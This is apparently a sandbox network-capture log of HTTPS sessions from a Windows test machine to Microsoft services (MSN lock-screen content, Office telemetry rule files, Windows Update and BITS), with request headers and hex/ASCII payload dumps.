2024-11-28 14:17:23 UTC	2235	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49744	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:22 UTC	1589	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141708Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a1c58906ac0f45468772b344d5b49d1d&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605279&metered=false&nettype=ethernet&npid=sc-338387&oemName=vgnaih%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=vgnaih20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605279&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: GBEUpv7Tm0SUjXTm.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 14:17:23 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 22849 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: g6qfbl9SFACtDy1TjkeNR4ckoE4EoeFsx5tgDYsVj8pySlhng9ShNaW0xIoGojvXDTDIBeBwplSWiWX6udONJ++pbC8BZ4JMLbQ+OZF2FJTFk0Me6uBmYueSVYPuF0m0KIK4K9zvZsz83C7NpxcIfb8z7+MfpwRSIUmaoDdsiI/8ZaJs9b77ghEWAvX/YBwlx2RE1hPuY6/zv5EqFtFY5Yl96atQ9pKweSq5b4OEgk4dpwHwY9RgdyvSfKcnVkDdYtDNDBmOYCXvb6+iLAmg9+lbAK8B2VeGxvS67kBTzwEZsF2XqlTE/CeyCVBIGMwBT8IurUcLcj3ZMDldN1y8wA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 14:17:22 GMT Connection: close
2024-11-28 14:17:23 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-28 14:17:23 UTC	7280	IN	Data Raw: 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 35 39 32 38 33 30 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 30 38 30 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 76 58 6a 47 72 48 78 6c 57 68 48 31 6b 48 48 50 59 59 71 62 48 33 5a 51 6c 5c 5c 75 30 30 32 42 36 63 45 46 37 54 77 6f 59 46 56 65 37 43 5c 5c 75 30 30 32 42 69 6f 3d 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 39 32 30 2c 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 74 73 65 31 2e 6d 6d 2e 62 69 6e 67 2e 6e 65 74 5c 2f 74 68 3f 69 64 3d 4f 41 44 44 32 2e 31 30 32 33 39 33 34 30 34 31 38 35 38 39 5f 31 41 37 47 52 30 58 37 45 4f 59 4b 46 50 4a 35 36 5c 5c 75 30 30 32 36 70 69 64 3d Data Ascii: ,\"properties\":{\"landscapeImage\":{\"fileSize\":592830,\"height\":1080,\"sha256\":\"vXjGrHxlWhH1kHHPYYqbH3ZQl\\u002B6cEF7TwoYFVe7C\\u002Bio=\",\"width\":1920,\"image\":\"https:\/\/tse1.mm.bing.net\/th?id=OADD2.10239340418589_1A7GR0X7EOYKFPJ56\\u0026pid=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:24 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 80135fc2-701e-001e-3d45-40f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141724Z-174f7845968vqt9xhC1EWRgten0000000yp0000000003dvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141724Z-174f7845968kdththC1EWRzvxn0000000avg00000000a022 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:24 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141724Z-174f78459685726chC1EWRsnbg0000000yf000000000dw2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49748	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=klwzB+LF78y8vvw&MD=F1fwkkPx HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 14:17:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 79d0b63c-a787-49b4-83d7-0810412f0bba MS-RequestId: 8ee64e77-be69-448f-a872-a9e4f824f8e8 MS-CV: LRh/aNp1UE+zO09i.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 14:17:24 GMT Connection: close Content-Length: 24490
2024-11-28 14:17:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-28 14:17:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:24 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 37db9b91-d01e-0066-0516-41ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141724Z-174f7845968frfdmhC1EWRxxbw0000000ymg000000006quz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:24 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141724Z-174f7845968qj8jrhC1EWRh41s0000000yc000000000dqbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49769	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:27 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 14:17:27 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=43420 Date: Thu, 28 Nov 2024 14:17:27 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 32f81047-301e-0051-4315-4138bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141727Z-174f784596886s2bhC1EWR743w0000000yng000000004w8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:27 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141727Z-174f7845968glpgnhC1EWR7uec0000000ymg00000000crqx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
